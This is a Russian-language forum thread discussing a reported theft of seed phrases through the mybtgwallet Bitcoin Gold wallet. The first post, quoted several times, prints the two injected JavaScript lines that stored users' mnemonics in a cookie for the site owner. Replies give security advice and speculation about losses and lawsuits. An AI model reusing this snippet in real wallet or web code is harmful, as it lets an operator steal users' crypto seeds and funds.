Кошелек mybtgwallet украл более $1млн

[ba1amut]

Данный кошелек был рекомендован разработчиками проекта Bitcoin Gold в качестве официального кошелька. Mybtgwallet позволял произвести сплит форка, однако для этого необходимо было ввести сид Биткоин-кошелька.

Хакер добавил в протокол кошелька 2 строчки кода:

Code:

window.gtagm = mnemonic;
document.cookie='_gtag='+btoa(window.gtagm);

Они заставляли браузер отправлять сиды Биткоин-кошельков непосредственно владельцу сайта mybtgwallet. По различным данным, таким образом было украдено от $1млн до $2млн в Биткоинах.

[milani]

Огооо!!   ничего себе как хитро придумано. Он же только появился, этот Биткоин Голд, а уже моментально нашлись умельцы, как пробраться к кошелькам. Мне не очень ясна фраза -«они заставляли браузер отправлять сиды» владельцу сайта. И что? А разве владельцы сайта глупые и неопытные? Могли пропустить это? А можно, пожалуйста, ссылку на источник данной новости? Просто интересно было бы какую-то более детальную информацию узнать.

[ba1amut]

Огооо!!   ничего себе как хитро придумано. Он же только появился, этот Биткоин Голд, а уже моментально нашлись умельцы, как пробраться к кошелькам. Мне не очень ясна фраза -«они заставляли браузер отправлять сиды» владельцу сайта. И что? А разве владельцы сайта глупые и неопытные? Могли пропустить это? А можно, пожалуйста, ссылку на источник данной новости? Просто интересно было бы какую-то более детальную информацию узнать.

пожалуйста

и вдогонку

[Pomogator]

Данный кошелек был рекомендован разработчиками проекта Bitcoin Gold в качестве официального кошелька. Mybtgwallet позволял произвести сплит форка, однако для этого необходимо было ввести сид Биткоин-кошелька.

Хакер добавил в протокол кошелька 2 строчки кода:

Code:

window.gtagm = mnemonic;
document.cookie='_gtag='+btoa(window.gtagm);

Они заставляли браузер отправлять сиды Биткоин-кошельков непосредственно владельцу сайта mybtgwallet. По различным данным, таким образом было украдено от $1млн до $2млн в Биткоинах.

Зачем вводить свой Сид? Это тоже самое, что отправить секретный код с почты, для подтверждения...
Никогда не ведусь на такой вид развода

[sfinks7777]

Огооо!!   ничего себе как хитро придумано. Он же только появился, этот Биткоин Голд, а уже моментально нашлись умельцы, как пробраться к кошелькам. Мне не очень ясна фраза -«они заставляли браузер отправлять сиды» владельцу сайта. И что? А разве владельцы сайта глупые и неопытные? Могли пропустить это? А можно, пожалуйста, ссылку на источник данной новости? Просто интересно было бы какую-то более детальную информацию узнать.

пожалуйста

и вдогонку

На англиском не понятно ничего.А что такое сиды? думаю какбы получить биткоинголд безопасно - есть ли такой способ надежный?

[Xiadas]

Данный кошелек был рекомендован разработчиками проекта Bitcoin Gold в качестве официального кошелька. Mybtgwallet позволял произвести сплит форка, однако для этого необходимо было ввести сид Биткоин-кошелька.

Хакер добавил в протокол кошелька 2 строчки кода:

Code:

window.gtagm = mnemonic;
document.cookie='_gtag='+btoa(window.gtagm);

Они заставляли браузер отправлять сиды Биткоин-кошельков непосредственно владельцу сайта mybtgwallet. По различным данным, таким образом было украдено от $1млн до $2млн в Биткоинах.

Форклог пишет, что обьщая сумма украденного равна 300btc и 300btg, что уже привышает 2.5млн$. После разработчики голды открестились от разработчика кошелька. Если потерпевшим не возместят убытки по курсу 14-15 ноября, Ляо ждёт судебный иск по статье мошенничесто.

[ba1amut]

Если потерпевшим не возместят убытки по курсу 14-15 ноября, Ляо ждёт судебный иск по статье мошенничесто.

Очень хочется на это посмотреть

[naRky]

Столько шума было с этим голдом, теперь дальше продолжается.
Ну а зажравшиеся дядьки уже давно нуждаются в суде

[topcoiner]

Данный кошелек был рекомендован разработчиками проекта Bitcoin Gold в качестве официального кошелька. Mybtgwallet позволял произвести сплит форка, однако для этого необходимо было ввести сид Биткоин-кошелька.

Хакер добавил в протокол кошелька 2 строчки кода:

Code:

window.gtagm = mnemonic;
document.cookie='_gtag='+btoa(window.gtagm);

Они заставляли браузер отправлять сиды Биткоин-кошельков непосредственно владельцу сайта mybtgwallet. По различным данным, таким образом было украдено от $1млн до $2млн в Биткоинах.

Зачем вводить свой Сид? Это тоже самое, что отправить секретный код с почты, для подтверждения...
Никогда не ведусь на такой вид развода

В этом году в мире крипты очень много новичков, не знающих базовые правила безопасности при работе с криптовалютами. Вот они то в первую очередь и теряют свои деньги.

[satgoldan]

Если потерпевшим не возместят убытки по курсу 14-15 ноября, Ляо ждёт судебный иск по статье мошенничесто.

Очень хочется на это посмотреть

Ага, особенно учитывая, что по законодательству почти всех стран крипта является ничем иным, как цифровыми фантиками.

[troay]

Да вроде бы украли биткоинов на сумму один, два миллиона, а по закону считай украл информацию, но не как не деньги.

[satgoldan]

Да вроде бы украли биткоинов на сумму один, два миллиона, а по закону считай украл информацию, но не как не деньги.

Так и есть. Помню, кто-то продавал битки официально, оформлял через интеллектуальную собственность

[Nikitavoz]

Опракинули людей конечно знатно, на форклоге уже вроде есть инфа что больше 2 млн$. вся эта история с голодом изначально выглядела как то мутно

[osnova]

от $ 1 млн до $ 2 млн в Биткоинах, это достаточно большая сумма

[rucoinmaster]

Данный кошелек был рекомендован разработчиками проекта Bitcoin Gold в качестве официального кошелька. Mybtgwallet позволял произвести сплит форка, однако для этого необходимо было ввести сид Биткоин-кошелька.

Хакер добавил в протокол кошелька 2 строчки кода:

Code:

window.gtagm = mnemonic;
document.cookie='_gtag='+btoa(window.gtagm);

Они заставляли браузер отправлять сиды Биткоин-кошельков непосредственно владельцу сайта mybtgwallet. По различным данным, таким образом было украдено от $1млн до $2млн в Биткоинах.

Какая прелесть, когда инвестиции не защищены. ППЦ 2 строчки и 2 млн гринов, даа  где ж енто видано то а? Люди добрые.
А ещё у него VPN и счета в офшорах ....ппц

[AleftinaMoroz]

Вот и используй поле этого кошельки... лучше уж на бирже держать тогда. Хотя и там может быть чего нибудь не ладное. В общем криптомир один сплошной риск.

[shurman38]

Кошмар! Вот действительно нельзя доверять никому и за новинки лучше не цепляться! Более 2млн $ - это вообще деньжищи огромные, хотелось бы, чтобы нашли махинаторов и наказали с конфискацией!

[atlantik]

Мир крипты еще очень молод и в плане защиты мало что делалось. Вот и возникают взломы и хищения каждый день. Надо что то менять в обеспечении безопасности